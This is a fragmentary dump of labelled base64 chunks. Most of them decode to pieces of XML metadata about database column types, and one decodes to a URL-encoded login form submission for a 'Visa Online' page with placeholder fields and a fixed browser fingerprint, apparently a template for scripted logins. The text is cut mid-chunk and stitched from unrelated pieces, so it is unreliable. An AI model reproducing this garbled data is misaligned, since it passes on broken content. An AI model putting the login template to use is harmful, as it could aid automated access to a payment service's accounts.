0cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPmZhbHNlPC9Jc1NlYXJjaGFibGU+ICAgIDxJc1NlYXJjaGFibGVXaXRoTGlrZT5mYQ==77:T508,PElzRml4ZWRQcmVjaXNpb25TY2FsZT50cnVlPC9Jc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ICAgIDxJc0xvbmc+ZmFsc2U8L0lzTG9uZz4gICAgPElzTnVsbGFibGU+dHJ1ZTwvSXNOdWxsYWJsZT4gICAgPElzU2VhcmNoYWJsZT50cnVlPC9Jc1NlYXJjaGFibGU+ICAgIDxJc1NlYXJjaGFibGVXaXRoTGlrZT5mYWxzZTwvSXNTZWFyY2hhYmxlV2l0aExpa2U+ICAgIDxJc1Vuc2lnbmVkPnRydWU8L0lzVW5zaWduZWQ+ICAgIDxJc0Jlc3RNYXRjaD50cnVlPC9Jc0Jlc3RNYXRjaD4gIDwvRGF0YVR5cGVzPiAgPERhdGFUeXBlcz4gICAgPFR5cGVOYW1lPmludGVnZXI8L1R5cGVOYW1lPiAgICA8UHJvdmlkZXJEYlR5cGU+MTI8L1Byb3ZpZGVyRGJUeXBlPiAgICA8Q29sdW1uU2l6ZT4xOTwvQ29sdW1uU2l6ZT4gICAgPERhdGFUeXBlPlN5c3RlbS5JbnQ2NDwvRGF0YVR5cGU+ICAgIDxDcmVhdGVGb3JtYXQ+aW50ZWdlcjwvQ3JlYXRlRm9ybWF0PiAgICA8SXNBdXRvSW5jcmVtZW50YWJsZT50cnVlPC9Jc0F1dG9JbmNyZW1lbnRhYmxlPiAgICA8SXNDYXNlU2Vuc2l0aXZlPmZhbHNlPC9Jc0Nhc2VTZW5zaXRpdmU+ICAgIDxJc0ZpeGVkTGVuZ3RoPnRydWU8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+dHJ1ZTwvSXNGaXhlZFByZWNpc2lvblNjYWxlPiAgICA8SXNMb25nPmZhbHNlPC9Jc0xvbmc+ICAgIDxJc051bGxhYmxlPnRydWU8L0lzTnVsbGFibGU+ICAgIDxJc1NlYXJjaGFibGU+dHJ1ZTwvSXNTZWFyY2hhYmxlPiAgICA8SXNTZWFyY2hhYmxlV2l0aExpa2U+ZmFsc2U8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8SXNVbnNpZ25lZD5mYWxzZTwvSXNVbnNpZ25lZD4gICAgPElzQmVzdE1hdGNoPnRydWU8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+Y291bnRlcjwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xMjwv78:T508,PElzU2VhcmNoYWJsZVdpdGhMaWtlPmZhbHNlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPElzVW5zaWduZWQ+ZmFsc2U8L0lzVW5zaWduZWQ+ICAgIDxJc0Jlc3RNYXRjaD5mYWxzZTwvSXNCZXN0TWF0Y2g+ICA8L0RhdGFUeXBlcz4gIDxEYXRhVHlwZXM+ICAgIDxUeXBlTmFtZT5tb25leTwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT43PC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MTk8L0NvbHVtblNpemU+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uRGVjaW1hbDwvRGF0YVR5cGU+ICAgIDxDcmVhdGVGb3JtYXQ+bW9uZXk8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+dHJ1ZTwvSXNGaXhlZExlbmd0aD4gICAgPElzRml4ZWRQcmVjaXNpb25TY2FsZT50cnVlPC9Jc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ICAgIDxJc0xvbmc+ZmFsc2U8L0lzTG9uZz4gICAgPElzTnVsbGFibGU+dHJ1ZTwvSXNOdWxsYWJsZT4gICAgPElzU2VhcmNoYWJsZT50cnVlPC9Jc1NlYXJjaGFibGU+ICAgIDxJc1NlYXJjaGFibGVXaXRoTGlrZT5mYWxzZTwvSXNTZWFyY2hhYmxlV2l0aExpa2U+ICAgIDxJc1Vuc2lnbmVkPmZhbHNlPC9Jc1Vuc2lnbmVkPiAgICA8SXNCZXN0TWF0Y2g+dHJ1ZTwvSXNCZXN0TWF0Y2g+ICA8L0RhdGFUeXBlcz4gIDxEYXRhVHlwZXM+ICAgIDxUeXBlTmFtZT5jdXJyZW5jeTwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT43PC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MTk8L0NvbHVtblNpemU+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uRGVjaW1hbDwvRGF0YVR5cGU+ICAgIDxDcmVhdGVGb3JtYXQ+Y3VycmVuY3k8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+79:T510,PFByb3ZpZGVyRGJUeXBlPjE2PC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MjE0NzQ4MzY0NzwvQ29sdW1uU2l6ZT4gICAgPENyZWF0ZVBhcmFtZXRlcnM+bWF4IGxlbmd0aDwvQ3JlYXRlUGFyYW1ldGVycz4gICAgPERhdGFUeXBlPlN5c3RlbS5TdHJpbmc8L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0Pm52YXJjaGFyKHswfSk8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+ZmFsc2U8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ZmFsc2U8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPnRydWU8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8TGl0ZXJhbFByZWZpeD4nPC9MaXRlcmFsUHJlZml4PiAgICA8TGl0ZXJhbFN1ZmZpeD4nPC9MaXRlcmFsU3VmZml4PiAgICA8SXNCZXN0TWF0Y2g+dHJ1ZTwvSXNCZXN0TWF0Y2g+ICA8L0RhdGFUeXBlcz4gIDxEYXRhVHlwZXM+ICAgIDxUeXBlTmFtZT5tZW1vPC9UeXBlTmFtZT4gICAgPFByb3ZpZGVyRGJUeXBlPjE2PC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MjE0NzQ4MzY0NzwvQ29sdW1uU2l6ZT4gICAgPENyZWF0ZVBhcmFtZXRlcnM+bWF4IGxlbmd0aDwvQ3JlYXRlUGFyYW1ldGVycz4gICAgPERhdGFUeXBlPlN5c3RlbS5TdHJpbmc8L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0Pm1lbW8oezB9KTwvQ3JlYXRlRm9ybWF0PiAgICA8SXNBdXRvSW5jcmVtZW50YWJsZT5mYWxzZTwvSXNBdXRvSW5jcmVtZW50YWJs7a:T510,PiAgICA8SXNDYXNlU2Vuc2l0aXZlPmZhbHNlPC9Jc0Nhc2VTZW5zaXRpdmU+ICAgIDxJc0ZpeGVkTGVuZ3RoPmZhbHNlPC9Jc0ZpeGVkTGVuZ3RoPiAgICA8SXNGaXhlZFByZWNpc2lvblNjYWxlPmZhbHNlPC9Jc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ICAgIDxJc0xvbmc+ZmFsc2U8L0lzTG9uZz4gICAgPElzTnVsbGFibGU+dHJ1ZTwvSXNOdWxsYWJsZT4gICAgPElzU2VhcmNoYWJsZT50cnVlPC9Jc1NlYXJjaGFibGU+ICAgIDxJc1NlYXJjaGFibGVXaXRoTGlrZT50cnVlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPExpdGVyYWxQcmVmaXg+JzwvTGl0ZXJhbFByZWZpeD4gICAgPExpdGVyYWxTdWZmaXg+JzwvTGl0ZXJhbFN1ZmZpeD4gICAgPElzQmVzdE1hdGNoPmZhbHNlPC9Jc0Jlc3RNYXRjaD4gIDwvRGF0YVR5cGVzPiAgPERhdGFUeXBlcz4gICAgPFR5cGVOYW1lPmxvbmd0ZXh0PC9UeXBlTmFtZT4gICAgPFByb3ZpZGVyRGJUeXBlPjE2PC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MjE0NzQ4MzY0NzwvQ29sdW1uU2l6ZT4gICAgPENyZWF0ZVBhcmFtZXRlcnM+bWF4IGxlbmd0aDwvQ3JlYXRlUGFyYW1ldGVycz4gICAgPERhdGFUeXBlPlN5c3RlbS5TdHJpbmc8L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0Pmxvbmd0ZXh0KHswfSk8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+ZmFsc2U8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ZmFsc2U8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmM=7b:T514,PlN5c3RlbS5Cb29sZWFuPC9EYXRhVHlwZT4gICAgPENyZWF0ZUZvcm1hdD5sb2dpY2FsPC9DcmVhdGVGb3JtYXQ+ICAgIDxJc0F1dG9JbmNyZW1lbnRhYmxlPmZhbHNlPC9Jc0F1dG9JbmNyZW1lbnRhYmxlPiAgICA8SXNDYXNlU2Vuc2l0aXZlPmZhbHNlPC9Jc0Nhc2VTZW5zaXRpdmU+ICAgIDxJc0ZpeGVkTGVuZ3RoPnRydWU8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ZmFsc2U8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPmZhbHNlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPElzQmVzdE1hdGNoPmZhbHNlPC9Jc0Jlc3RNYXRjaD4gIDwvRGF0YVR5cGVzPiAgPERhdGFUeXBlcz4gICAgPFR5cGVOYW1lPmJvb2w8L1R5cGVOYW1lPiAgICA8UHJvdmlkZXJEYlR5cGU+MzwvUHJvdmlkZXJEYlR5cGU+ICAgIDxDb2x1bW5TaXplPjE8L0NvbHVtblNpemU+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uQm9vbGVhbjwvRGF0YVR5cGU+ICAgIDxDcmVhdGVGb3JtYXQ+Ym9vbDwvQ3JlYXRlRm9ybWF0PiAgICA8SXNBdXRvSW5jcmVtZW50YWJsZT5mYWxzZTwvSXNBdXRvSW5jcmVtZW50YWJsZT4gICAgPElzQ2FzZVNlbnNpdGl2ZT5mYWxzZTwvSXNDYXNlU2Vuc2l0aXZlPiAgICA8SXNGaXhlZExlbmd0aD50cnVlPC9Jc0ZpeGVkTGVuZ3RoPiAgICA8SXNGaXhlZFByZWNpc2lvblNjYWxlPmZhbHNlPC9Jc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ICAgIDxJc0xvbmc+ZmFsc2U8L0lzTG9uZz4gICAgPElzTnVsbGFibGU+dHJ1ZTwvSXNOdWxsYWJsZT4gICAgPElzU2VhcmNoYWJsZT50cnVlPC9Jc1NlYXJjaGFibGU+ICAgIDxJc1NlYXJjaGFibGVXaXRoTGlrZT5mYWxzZTwvSXNTZWFyY2hhYg==7c:T554,X19FVkVOVFRBUkdFVD1jdGwwMCUyNFBsYWNlSG9sZGVyTWFpbiUyNGJ0bkxvZ2luJl9fRVZFTlRBUkdVTUVOVD0mX19MQVNURk9DVVM9Jl9fVklFV1NUQVRFPSMwIyZfX1ZJRVdTVEFURUdFTkVSQVRPUj0jMSMmX19WSUVXU1RBVEVFTkNSWVBURUQ9Jl9fRVZFTlRWQUxJREFUSU9OPSMzIyZjdGwwMCUyNExhbmd1YWdlRERMPWVuLVVTJmN0bDAwJTI0UGxhY2VIb2xkZXJNYWluJTI0dHh0RGV2aWNlVG9rZW49dmVyc2lvbiUzRDElMjZwbV9mcHVhJTNEbW96aWxsYSUyRjUuMCUyMCh3aW5kb3dzJTIwbnQlMjAxMC4wJTNCJTIwd293NjQpJTIwYXBwbGV3ZWJraXQlMkY1MzcuMzYlMjAoa2h0bWwlMkMlMjBsaWtlJTIwZ2Vja28pJTIwY2hyb21lJTJGNTEuMC4yNzA0LjEwMyUyMHNhZmFyaSUyRjUzNy4zNiU3QzUuMCUyMChXaW5kb3dzJTIwTlQlMjAxMC4wJTNCJTIwV09XNjQpJTIwQXBwbGVXZWJLaXQlMkY1MzcuMzYlMjAoS0hUTUwlMkMlMjBsaWtlJTIwR2Vja28pJTIwQ2hyb21lJTJGNTEuMC4yNzA0LjEwMyUyMFNhZmFyaSUyRjUzNy4zNiU3Q1dpbjMyJTI2cG1fZnBzYyUzRDI0JTdDMTkyMCU3QzEwODAlN0MxMDQwJTI2cG1fZnBzdyUzRCUyNnBtX2ZwdHolM0QtNCUyNnBtX2ZwbG4lM0RsYW5nJTNEcnUlN0NzeXNsYW5nJTNEJTdDdXNlcmxhbmclM0QlMjZwbV9mcGp2JTNEMCUyNnBtX2ZwY28lM0QxJmN0bDAwJTI0UGxhY2VIb2xkZXJNYWluJTI0dHh0Q29va2llU3RhdHVzPXRydWUmY3RsMDAlMjRQbGFjZUhvbGRlck1haW4lMjRlbnJvbGx0aXRsZT1FbnJvbGwlMjBpbiUyMFZpc2ElMjBPbmxpbmUmY3RsMDAlMjRQbGFjZUhvbGRlck1haW4lMjRlbnJvbGxUb29sVGlwPUVucm9sbCUyME5vdyZjdGwwMCUyNFBsYWNlSG9sZGVyTWFpbiUyNHNjcm9sbERvd25Ub29sVGlwVGV4dD1TY3JvbGwlMjBEb3duJmN0bDAwJTI0UGxhY2VIb2xkZXJNYWluJTI0aGRuRlBTSW5kaWNhdG9yPTAmY3RsMDAlMjRQbGFjZUhvbGRlck1haW4lMjRWRVBvcFVwVXJsPSZjdGwwMCUyNFBsYWNlSG9sZGVyTWFpbiUyNFZlVXNl7d:T508,YWJsZVdpdGhMaWtlPiAgICA8SXNVbnNpZ25lZD5mYWxzZTwvSXNVbnNpZ25lZD4gICAgPElzQmVzdE1hdGNoPmZhbHNlPC9Jc0Jlc3RNYXRjaD4gIDwvRGF0YVR5cGVzPiAgPERhdGFUeXBlcz4gICAgPFR5cGVOYW1lPmJpbmFyeTwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xPC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MjE0NzQ4MzY0NzwvQ29sdW1uU2l6ZT4gICAgPERhdGFUeXBlPlN5c3RlbS5CeXRlW108L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0PmJpbmFyeTwvQ3JlYXRlRm9ybWF0PiAgICA8SXNBdXRvSW5jcmVtZW50YWJsZT5mYWxzZTwvSXNBdXRvSW5jcmVtZW50YWJsZT4gICAgPElzQ2FzZVNlbnNpdGl2ZT5mYWxzZTwvSXNDYXNlU2Vuc2l0aXZlPiAgICA8SXNGaXhlZExlbmd0aD5mYWxzZTwvSXNGaXhlZExlbmd0aD4gICAgPElzRml4ZWRQcmVjaXNpb25TY2FsZT5mYWxzZTwvSXNGaXhlZFByZWNpc2lvblNjYWxlPiAgICA8SXNMb25nPmZhbHNlPC9Jc0xvbmc+ICAgIDxJc051bGxhYmxlPnRydWU8L0lzTnVsbGFibGU+ICAgIDxJc1NlYXJjaGFibGU+ZmFsc2U8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPmZhbHNlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPExpdGVyYWxQcmVmaXg+WCc8L0xpdGVyYWxQcmVmaXg+ICAgIDxMaXRlcmFsU3VmZml4Pic8L0xpdGVyYWxTdWZmaXg+ICAgIDxJc0Jlc3RNYXRjaD50cnVlPC9Jc0Jlc3RNYXRjaD4gIDwvRGF0YVR5cGVzPiAgPERhdGFUeXBlcz4gICAgPFR5cGVOYW1lPnZhcmJpbmFyeTwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xPC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MjE0NzQ4MzY0NzwvQ29sdW1uU2l6ZT4gICAgPERhdGFUeXBlPlN5c3RlbS5CeXRlW108L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0PnZhcmJpbmFyeTwvQ3JlYXRlRm9ybWF0Pg==7e:T50c,YWJsZVdpdGhMaWtlPnRydWU8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8TGl0ZXJhbFByZWZpeD4nPC9MaXRlcmFsUHJlZml4PiAgICA8TGl0ZXJhbFN1ZmZpeD4nPC9MaXRlcmFsU3VmZml4PiAgICA8SXNCZXN0TWF0Y2g+ZmFsc2U8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+bm90ZTwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xNjwvUHJvdmlkZXJEYlR5cGU+ICAgIDxDb2x1bW5TaXplPjIxNDc0ODM2NDc8L0NvbHVtblNpemU+ICAgIDxDcmVhdGVQYXJhbWV0ZXJzPm1heCBsZW5ndGg8L0NyZWF0ZVBhcmFtZXRlcnM+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uU3RyaW5nPC9EYXRhVHlwZT4gICAgPENyZWF0ZUZvcm1hdD5ub3RlKHswfSk8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+ZmFsc2U8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ZmFsc2U8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPnRydWU8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8TGl0ZXJhbFByZWZpeD4nPC9MaXRlcmFsUHJlZml4PiAgICA8TGl0ZXJhbFN1ZmZpeD4nPC9MaXRlcmFsU3VmZml4PiAgICA8SXNCZXN0TWF0Y2g+ZmFsc2U8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+dGV4dDwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xNjwvUHJvdmlkZXJEYlR5cGU+ICAgIDxDb2x1bW5T7f:T510,YWxzZTwvSXNBdXRvSW5jcmVtZW50YWJsZT4gICAgPElzQ2FzZVNlbnNpdGl2ZT5mYWxzZTwvSXNDYXNlU2Vuc2l0aXZlPiAgICA8SXNGaXhlZExlbmd0aD50cnVlPC9Jc0ZpeGVkTGVuZ3RoPiAgICA8SXNGaXhlZFByZWNpc2lvblNjYWxlPnRydWU8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPmZhbHNlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPElzVW5zaWduZWQ+ZmFsc2U8L0lzVW5zaWduZWQ+ICAgIDxJc0Jlc3RNYXRjaD5mYWxzZTwvSXNCZXN0TWF0Y2g+ICA8L0RhdGFUeXBlcz4gIDxEYXRhVHlwZXM+ICAgIDxUeXBlTmFtZT5kZWNpbWFsPC9UeXBlTmFtZT4gICAgPFByb3ZpZGVyRGJUeXBlPjc8L1Byb3ZpZGVyRGJUeXBlPiAgICA8Q29sdW1uU2l6ZT4xOTwvQ29sdW1uU2l6ZT4gICAgPERhdGFUeXBlPlN5c3RlbS5EZWNpbWFsPC9EYXRhVHlwZT4gICAgPENyZWF0ZUZvcm1hdD5kZWNpbWFsPC9DcmVhdGVGb3JtYXQ+ICAgIDxJc0F1dG9JbmNyZW1lbnRhYmxlPmZhbHNlPC9Jc0F1dG9JbmNyZW1lbnRhYmxlPiAgICA8SXNDYXNlU2Vuc2l0aXZlPmZhbHNlPC9Jc0Nhc2VTZW5zaXRpdmU+ICAgIDxJc0ZpeGVkTGVuZ3RoPnRydWU8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+dHJ1ZTwvSXNGaXhlZFByZWNpc2lvblNjYWxlPiAgICA8SXNMb25nPmZhbHNlPC9Jc0xvbmc+ICAgIDxJc051bGxhYmxlPnRydWU8L0lzTnVsbGFibGU+ICAgIDxJc1NlYXJjaGFibGU+dHJ1ZTwvSXNTZWFyY2hhYmxlPiAgICA8SXNTZWFyY2hhYmxlV2l0aExpa2U+ZmFsc2U8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8SXNVbnNpZ25lZD5mYWxzZTwvSXNVbnNpZ25lZD4gICAgPEk=80:T50c,QmVzdE1hdGNoPnRydWU8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+bnVtZXJpYzwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT43PC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MTk8L0NvbHVtblNpemU+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uRGVjaW1hbDwvRGF0YVR5cGU+ICAgIDxDcmVhdGVGb3JtYXQ+bnVtZXJpYzwvQ3JlYXRlRm9ybWF0PiAgICA8SXNBdXRvSW5jcmVtZW50YWJsZT5mYWxzZTwvSXNBdXRvSW5jcmVtZW50YWJsZT4gICAgPElzQ2FzZVNlbnNpdGl2ZT5mYWxzZTwvSXNDYXNlU2Vuc2l0aXZlPiAgICA8SXNGaXhlZExlbmd0aD50cnVlPC9Jc0ZpeGVkTGVuZ3RoPiAgICA8SXNGaXhlZFByZWNpc2lvblNjYWxlPnRydWU8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPmZhbHNlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPElzVW5zaWduZWQ+ZmFsc2U8L0lzVW5zaWduZWQ+ICAgIDxJc0Jlc3RNYXRjaD5mYWxzZTwvSXNCZXN0TWF0Y2g+ICA8L0RhdGFUeXBlcz4gIDxEYXRhVHlwZXM+ICAgIDxUeXBlTmFtZT5iaXQ8L1R5cGVOYW1lPiAgICA8UHJvdmlkZXJEYlR5cGU+MzwvUHJvdmlkZXJEYlR5cGU+ICAgIDxDb2x1bW5TaXplPjE8L0NvbHVtblNpemU+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uQm9vbGVhbjwvRGF0YVR5cGU+ICAgIDxDcmVhdGVGb3JtYXQ+Yml0PC9DcmVhdGVGb3JtYXQ+ICAgIDxJc0F1dG9JbmNyZW1lbnRhYmxlPmZhbHNlPC9Jc0F1dG9JbmNyZW1lbnRhYmxlPiAgICA8SXNDYXNlU2Vuc2l0aXZlPmZhbHNlPC9Jc0Nhc2VTZW5zaXRpdmU+ICAgIDxJc0ZpeGVkTGVuZ3RoPnRydWU8L0lzRml481:T50c,Y2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPnRydWU8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8TGl0ZXJhbFByZWZpeD4nPC9MaXRlcmFsUHJlZml4PiAgICA8TGl0ZXJhbFN1ZmZpeD4nPC9MaXRlcmFsU3VmZml4PiAgICA8SXNCZXN0TWF0Y2g+ZmFsc2U8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+dGltZTwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT42PC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MjM8L0NvbHVtblNpemU+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uRGF0ZVRpbWU8L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0PnRpbWU8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+dHJ1ZTwvSXNGaXhlZExlbmd0aD4gICAgPElzRml4ZWRQcmVjaXNpb25TY2FsZT5mYWxzZTwvSXNGaXhlZFByZWNpc2lvblNjYWxlPiAgICA8SXNMb25nPmZhbHNlPC9Jc0xvbmc+ICAgIDxJc051bGxhYmxlPnRydWU8L0lzTnVsbGFibGU+ICAgIDxJc1NlYXJjaGFibGU+dHJ1ZTwvSXNTZWFyY2hhYmxlPiAgICA8SXNTZWFyY2hhYmxlV2l0aExpa2U+dHJ1ZTwvSXNTZWFyY2hhYmxlV2l0aExpa2U+ICAgIDxMaXRlcmFsUHJlZml4Pic8L0xpdGVyYWxQcmVmaXg+ICAgIDxMaXRlcmFsU3VmZml4Pic8L0xpdGVyYWxTdWZmaXg+ICAgIDxJc0Jlc3RNYXRjaD5mYWxzZTwvSXNCZXN0TWF0Y2g+ICA8L0RhdGFUeXBlcz4gIDxEYXRhVHlwZXM+ICAgIDxUeXBlTmFtZT51bmlxdWVpZGVudGlmaQ==82:T50c,Y2hhYmxlPmZhbHNlPC9Jc1NlYXJjaGFibGU+ICAgIDxJc1NlYXJjaGFibGVXaXRoTGlrZT5mYWxzZTwvSXNTZWFyY2hhYmxlV2l0aExpa2U+ICAgIDxMaXRlcmFsUHJlZml4PlgnPC9MaXRlcmFsUHJlZml4PiAgICA8TGl0ZXJhbFN1ZmZpeD4nPC9MaXRlcmFsU3VmZml4PiAgICA8SXNCZXN0TWF0Y2g+ZmFsc2U8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+dmFyY2hhcjwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xNjwvUHJvdmlkZXJEYlR5cGU+ICAgIDxDb2x1bW5TaXplPjIxNDc0ODM2NDc8L0NvbHVtblNpemU+ICAgIDxDcmVhdGVQYXJhbWV0ZXJzPm1heCBsZW5ndGg8L0NyZWF0ZVBhcmFtZXRlcnM+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uU3RyaW5nPC9EYXRhVHlwZT4gICAgPENyZWF0ZUZvcm1hdD52YXJjaGFyKHswfSk8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+ZmFsc2U8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY